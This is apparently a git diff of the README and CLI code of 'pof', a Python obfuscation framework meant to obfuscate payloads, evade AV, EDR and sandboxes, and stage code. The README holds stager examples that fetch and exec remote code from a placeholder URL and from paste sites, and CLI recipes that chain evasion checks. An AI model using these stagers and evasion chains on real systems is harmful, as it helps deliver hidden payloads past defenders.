+ > By default pof uses a custom `Untokenizer` that removes useless spaces (`NoSpaceUntokenizer` defined in `./pof/utils/tokens.py`), so first generation (in the example `out.py`) will not have spaces present in the subsquent outputs.
641
+
643
642
  ### Generators
644
643
 
645
644
  Generators are used to generate new names, they can be used to classes, variables, functions, constants or any other.
@@ -865,9 +864,13 @@ black .
865
864
  ruff .
866
865
  ```
867
866
 
867
+ ## Python 2
868
+
869
+ No effort is made to support Python 2, most obfuscator, stagers, and evasion should work out of the box, but they are not tested.
870
+
868
871
  ## TODO
869
872
 
870
- - Get the version (in setup.py) from `__init__.py`
873
+ - Add option to prepend a shebang, and add ability to customize it
871
874
 
872
875
  ## License
873
876
 
@@ -45,6 +45,7 @@ pof will allow you to:
45
45
  - do **evasion**: AV, EDR, DPI, sandbox and other analysis techniques
46
46
  - slow **analysis**: slow down human analysis of the payload
47
47
  - enable **automation**: automate the whole process, to produce numerous variant of the payload
48
+ - be **cross-platform**: works on Linux, Windows, and macOS
48
49
  - have **fun**: because it's always fun to see what's possible to do with Python
49
50
 
50
51
  This project also tries to combine all other Python obfuscation tools available, because most of them only provide a single method, and it's pretty basic. So you should be able to do everything that those other tools do, but without having to use multiple.
@@ -55,19 +56,9 @@ This project could also give you ideas to implement in other languages, such as
55
56
 
56
57
  You could also use most of the stagers to stage payload that are not built in Python.
57
58
 
58
- ## Shortcomings
59
-
60
- Any obfuscation techniques that add code complexity will make the code run slower. For most usage this won't have an impact, and no one is using Python for speed anyway (at least I hope).
61
-
62
- Encoding, compression, encryption will slow the start of the programs, because it will first have to decode, de-compress, or decrypt it.
63
-
64
- Strings, numbers, builtin, obfuscators will make the code run slower, because they will add complexity to many parts of it.
65
-
66
- And finally the 'classical' techniques, names, definitions won't have an impact on the speed of the code, because they'll simply rename elements of the code.
67
-
68
59
  ## Install
69
60
 
70
- There are 3 installation options, with PIP, a virtualenv, or a Docker container.
61
+ There are 4 installation options, with PIP, a virtualenv, a Docker container, or with Nix.
71
62
 
72
63
  ### 1. PIP
73
64
 
@@ -77,7 +68,7 @@ From [pypi](https://pypi.org/project/python-obfuscation-framework):
77
68
  pip install python-obfuscation-framework
78
69
  ```
79
70
 
80
- ### 2. Python
71
+ ### 2. Source
81
72
 
82
73
  ```bash
83
74
  git clone https://github.com/deoktr/pof
@@ -98,43 +89,55 @@ docker build -t pof .
98
89
  docker run --rm -it pof --help
99
90
  ```
100
91
 
101
- Run inside Docker from a file.
92
+ Run inside Docker from a local file `in.py`:
102
93
 
103
94
  ```bash
104
- docker run --rm -v $(pwd):/tmp -it pof -o /tmp/output.py /tmp/input.py
95
+ docker run --rm -v $(pwd):/tmp -it pof /tmp/in.py -o /tmp/out.py
105
96
  ```
106
97
 
107
- ## Usage
98
+ ### 4. Nix
108
99
 
109
- You can either pipe or give a file for input, same for output.
100
+ From [github.com/onix-sec/nixsecpkgs](https://github.com/onix-sec/nixsecpkgs):
110
101
 
111
102
  ```bash
112
- echo "print('Hello, world')" | pof
103
+ nix shell github:onix-sec/nixsecpkgs#pof
113
104
  ```
114
105
 
115
- Output:
106
+ ## Usage
116
107
 
117
- ```python
118
- from base64 import b64decode as CRT_ASSERT
119
- from base64 import b85decode as _45802
120
- UserClassSlots=__builtins__.__dict__.__getitem__(_45802(''[::-1]).decode().join([__builtins__.__getattribute__("".join([chr(ord(i)-3)for i in'ukf'[::-1]]))(__builtins__.__getattribute__('\u006f\u0072\u0064')(i)-(__name__.__eq__.__call__(__name__)+__name__.__eq__.__call__(__name__)+__name__.__eq__(__name__)))for i in CRT_ASSERT('c3VscXc=').decode()]))
121
- UserClassSlots(CRT_ASSERT('').decode().join([__builtins__.__getattribute__("".join([chr(ord(i)-3)for i in'']).join([chr(ord(i)-3)for i in'parse_intermixed_argsu'.replace('parse_intermixed_args','fk')]))(__builtins__.__dict__.__getitem__(_45802('L}g}jVP{fhb9HQVa%2').decode().replace("".join([chr(ord(i)-3)for i in'GhiudjUhvxow']),'o'[::-1]))(i)-(__name__.__eq__.__call__(__name__)+globals()["".join([chr(ord(i)-3)for i in'bbvqlwolxebb'])[::-1]].__dict__["".join([chr(ord(i)-3)for i in'']).join([chr(ord(i)-3)for i in'Wuxsimple_stmt'.replace('simple_stmt','h')])]+(type(1)==type(1))))for i in'gourz#/r_pfK'[::-1].replace(_45802('W^i9}').decode(),CRT_ASSERT('aG9vcg==').decode())]))
122
- ```
108
+ ```bash
109
+ # pipe input and output to stdout
110
+ echo "print('Hello, world')" | pof
123
111
 
124
- And yes, this is a valid Python script, that actually runs and only output `Hello world` ! And you'll get a different output each time.
112
+ # output to file
113
+ pof in.py -o out.py
125
114
 
126
- Using a specific obfuscator:
115
+ # redirect to file
116
+ pof in.py > out.py
127
117
 
128
- ```bash
118
+ # pipe to python to run it
119
+ pof in.py | python
120
+
121
+ # obfuscator
129
122
  pof in.py -o out.py -f obfuscator -k BuiltinsObfuscator
130
- ```
131
123
 
132
- Using a specific payload:
124
+ # stager
125
+ pof in.py -o out.py -f stager -k PasteRsStager
133
126
 
134
- ```bash
135
- pof inf.py -o out.py -f payload -k GzipPayload
127
+ # evasion
128
+ pof in.py -o out.py -f evasion -k CPUCountEvasion
129
+
130
+ # evasion with custom params
131
+ pof in.py -o out.py -f evasion -k CPUCountEvasion min_cpu_count=4
132
+
133
+ # combine everything from the CLI
134
+ pof in.py -f obfuscator -k BuiltinsObfuscator |\
135
+ pof -f evasion -k CPUCountEvasion min_cpu_count=4 |\
136
+ pof -f stager -k PasteRsStager > out.py
136
137
  ```
137
138
 
139
+ You can also use the Python API directly, you can find examples in the corresponding directory or bellow.
140
+
138
141
  ## Examples
139
142
 
140
143
  These are examples of obfuscators of the script `print('Hello, world')`.
@@ -157,40 +160,24 @@ echo "print('Hello, world')" | pof -f obfuscator -k UUIDObfuscator | python
157
160
 
158
161
  #### StringsObfuscator
159
162
 
160
- Reverse.
161
-
162
163
  ```python
164
+ # Reverse
163
165
  print('dlrow ,olleH'[::-1])
164
- ```
165
-
166
- Replace.
167
166
 
168
- ```python
167
+ # Replace
169
168
  rint('Helnelemd'.replace('nelem','lo, worl'))
170
- ```
171
169
 
172
- Unicode.
173
-
174
- ```python
170
+ # Unicode
175
171
  print('\u0048\u0065\u006c\u006c\u006f\u002c\u0020\u0077\u006f\u0072\u006c\u0064')
176
- ```
177
-
178
- Shift cipher.
179
172
 
180
- ```python
173
+ # Shift cipher
181
174
  print("".join([chr(ord(i)-3)for i in'Khoor/#zruog']))
182
- ```
183
175
 
184
- Base 64 encoding.
185
-
186
- ```python
176
+ # Base 64 encoding
187
177
  from base64 import b64decode
188
178
  print(b64decode( b'SGVsbG8sIHdvcmxk').decode())
189
- ```
190
-
191
- Base 85.
192
179
 
193
- ```python
180
+ # Base 85
194
181
  from base64 import b85decode
195
182
  print(b85decode( b'NM&qnZ!92pZ*pv8').decode())
196
183
  ```
@@ -199,33 +186,20 @@ print(b85decode( b'NM&qnZ!92pZ*pv8').decode())
199
186
 
200
187
  Source: `print(42)`
201
188
 
202
- String.
203
-
204
189
  ```python
190
+ # String
205
191
  print(int('42'))
206
- ```
207
192
 
208
- Addition.
209
-
210
- ```python
193
+ # Addition
211
194
  print((int(35+7)))
212
- ```
213
-
214
- Hex.
215
195
 
216
- ```python
196
+ # Hex
217
197
  print(int('0x2a',0))
218
- ```
219
198
 
220
- Len.
221
-
222
- ```python
199
+ # Len
223
200
  print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'))
224
- ```
225
201
 
226
- Boolean.
227
-
228
- ```python
202
+ # Boolean
229
203
  print((True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True))
230
204
  ```
231
205
 
@@ -253,17 +227,11 @@ Obfuscate builtins functions using one of the following methods.
253
227
 
254
228
  ```python
255
229
  __builtins__.__getattribute__('print')('Hello, world')
256
- ```
257
230
 
258
- ```python
259
231
  __builtins__.__dict__['print']('Hello, world')
260
- ```
261
232
 
262
- ```python
263
233
  globals()['__builtins__'].__dict__['print']('Hello, world')
264
- ```
265
234
 
266
- ```python
267
235
  __builtins__.__dict__.__getitem__('print')('Hello, world')
268
236
  ```
269
237
 
@@ -511,7 +479,7 @@ print(oct.__doc__[8])
511
479
 
512
480
  ```python
513
481
  from urllib import request
514
- exec(request.urlopen("http://link...").read())
482
+ exec(request.urlopen("https://example.com/payload.py").read())
515
483
  ```
516
484
 
517
485
  #### ImageStager
@@ -547,7 +515,14 @@ from urllib import request
547
515
  exec(request.urlopen("https://pastebin.com/raw/...").read())
548
516
  ```
549
517
 
550
- The `PasteRsStager` and `Cl1pNetStager` are exactly the same, but the code is not uploaded to the same site.
518
+ > [!NOTE]
519
+ > You'll need to add a pastebin API key:
520
+ >
521
+ > ```bash
522
+ > echo "print('Hello, world')" | pof -f stager -k PastebinStager api_dev_key=foo
523
+ > ```
524
+
525
+ The `PasteRsStager` and `Cl1pNetStager` are exactly the same, but the code is not uploaded to the same site. But `PasteRsStager` doesn't require an API key.
551
526
 
552
527
  #### RC4Stager
553
528
 
@@ -598,6 +573,12 @@ For this example, the randomly generated key is:
598
573
  TzyaoOa2e4wimAo1AGgeWO5ztZtLzqWo5Wl9OXLWP0r5QmjFO8VvIao6NfqHxMBZCXekiqGDcmFugz10F2wS8UlOtUJB2muLsSxVWoJhq1fKWaZHbiYPd7SSdPhqHMRV1fQkJax5sLssaB43AlHFrx4rJYMvkCjPebHUdjW2l0c8af5cNs60v4dRE3zw2myNZTcrbsbpvogSGYOz21rAXlEZn2y0lbDIpWwI1ZHf8i5vAGxnPPPH9i7OQIMZEunerDbY7cyzHRcZGU1nsVyEmlILGf37NYTxLagRkC6GJP5NCmqboyP5It6bF6AuihUkjLTXTMvrgxfNlMs4g3BkHqZIGjNxFHj6zSB3jhOtOQ9l3zOG36dsMKSye78Xxmn7JjoW5nH76E05QJMBALapu0LaVppSSpSUrpYR2bmwGdbuJNZd7qLL6Yy6vNptSIKcG6Vi6DiFLk7afCw9h9fLdyUC1Ng1sGwt0Jhdf0XnuBedFx6diWYzCrYgWZeM1VnC
599
574
  ```
600
575
 
576
+ So we could call it like this:
577
+
578
+ ```bash
579
+ python3 out.py TzyaoO...
580
+ ```
581
+
601
582
  #### QuineStager
602
583
 
603
584
  ```python
@@ -610,6 +591,24 @@ def quine():
610
591
  exec(b64decode(esource))
611
592
  ```
612
593
 
594
+ This is most likely useless, a quine is a program that output its source code, and you can generate a quine from your source code with this.
595
+
596
+ Your script will still execute but a new function `quine` will be available, if you call it you'll have access to the source.
597
+
598
+ Example usage:
599
+
600
+ ```bash
601
+ echo "print(quine())" | pof -f stager -k QuineStager > out.py
602
+ python3 out.py > out2.py
603
+ python3 out2.py > out3.py
604
+ diff out2.py out3.py
605
+ ```
606
+
607
+ The `out2.py` and `out3.py` files are identical, they both contain the source code, and the script `print(quine())`.
608
+
609
+ > [!NOTE]
610
+ > By default pof uses a custom `Untokenizer` that removes useless spaces (`NoSpaceUntokenizer` defined in `./pof/utils/tokens.py`), so first generation (in the example `out.py`) will not have spaces present in the subsquent outputs.
611
+
613
612
  ### Generators
614
613
 
615
614
  Generators are used to generate new names, they can be used to classes, variables, functions, constants or any other.
@@ -835,9 +834,13 @@ black .
835
834
  ruff .
836
835
  ```
837
836
 
837
+ ## Python 2
838
+
839
+ No effort is made to support Python 2, most obfuscator, stagers, and evasion should work out of the box, but they are not tested.
840
+
838
841
  ## TODO
839
842
 
840
- - Get the version (in setup.py) from `__init__.py`
843
+ - Add option to prepend a shebang, and add ability to customize it
841
844
 
842
845
  ## License
843
846
 
@@ -18,7 +18,7 @@ class PofCliError(PofError):
18
18
 
19
19
 
20
20
  class CLIObfuscator(Obfuscator):
21
- def obfuscator(self, source, obfuscator, *args, **kwargs):
21
+ def obfuscator(self, source, obfuscator, *args, **kwargs) -> str:
22
22
  """Execute a single obfuscator."""
23
23
  tokens = self._get_tokens(source)
24
24
 
@@ -38,7 +38,7 @@ class CLIObfuscator(Obfuscator):
38
38
  tokens = globals()[obfuscator](*args, **kwargs).obfuscate_tokens(tokens)
39
39
  return self._untokenize(tokens)
40
40
 
41
- def stager(self, source, stager, *args, **kwargs):
41
+ def stager(self, source, stager, *args, **kwargs) -> str:
42
42
  """Execute a single stager."""
43
43
  tokens = self._get_tokens(source)
44
44
 
@@ -58,7 +58,7 @@ class CLIObfuscator(Obfuscator):
58
58
  tokens = globals()[stager](*args, **kwargs).generate_stager(tokens)
59
59
  return self._untokenize(tokens)
60
60
 
61
- def evasion(self, source, evasion, *args, **kwargs):
61
+ def evasion(self, source, evasion, *args, **kwargs) -> str:
62
62
  """Execute a single evasion method."""
63
63
  tokens = self._get_tokens(source)
64
64
 
@@ -94,7 +94,7 @@ handler.setFormatter(formatter)
94
94
  logging.basicConfig(level=logging.INFO, handlers=[handler])
95
95
 
96
96
 
97
- def _handle(args):
97
+ def _handle(args) -> int:
98
98
  if args.version:
99
99
  print(__version__) # noqa: T201
100
100
  return 0
@@ -115,11 +115,13 @@ def _handle(args):
115
115
 
116
116
  logging.info(f"starting obfuscation of {args.input.name}")
117
117
  source = args.input.read()
118
+
118
119
  start = time.time()
119
120
 
120
121
  out = CLIObfuscator().__getattribute__(args.function)(source, *a, **k)
121
122
 
122
123
  end = time.time()
124
+
123
125
  time_diff = round(end - start, 4)
124
126
  logging.info(f"took: {time_diff}s")
125
127
  args.output.write(out)
@@ -128,7 +130,7 @@ def _handle(args):
128
130
  return 0
129
131
 
130
132
 
131
- def _cli():
133
+ def _cli() -> int:
132
134
  parser = argparse.ArgumentParser(
133
135
  prog="obfuscate",
134
136
  description="%(prog)s CLI tool to obfuscate Python source code.",
@@ -137,7 +139,7 @@ def _cli():
137
139
  parser.add_argument(
138
140
  "--raise-exceptions",
139
141
  action="store_true",
140
- help="Raise exceptions instead of just printing them.",
142
+ help="raise exceptions instead of just printing them",
141
143
  )
142
144
  parser.add_argument(
143
145
  "input",
@@ -161,7 +163,7 @@ def _cli():
161
163
  )
162
164
  parser.add_argument(
163
165
  "--logging",
164
- help="logging level, INFO, DEBUG, ERROR, CRITICAL",
166
+ help="logging level, DEBUG, INFO, ERROR, CRITICAL",
165
167
  default="INFO",
166
168
  )
167
169
  parser.add_argument(
@@ -179,7 +181,7 @@ def _cli():
179
181
  logging.error(str(e)) # noqa: TRY400
180
182
  if args.raise_exceptions:
181
183
  raise
182
- logging.debug("use `--raise-exceptions` to see full trace back.")
184
+ logging.debug("use `--raise-exceptions` to see full trace back")
183
185
  return 1
184
186
 
185
187
 
@@ -19,7 +19,7 @@ class ArgvEvasion(BaseEvasion):
19
19
  ]
20
20
 
21
21
  def check_tokens(self):
22
- """Validates system does not use UTC timezone.
22
+ """Argument check tokens.
23
23
 
24
24
  `len(sys.argv)==1 or sys.argv[1]!="123"`
25
25
  """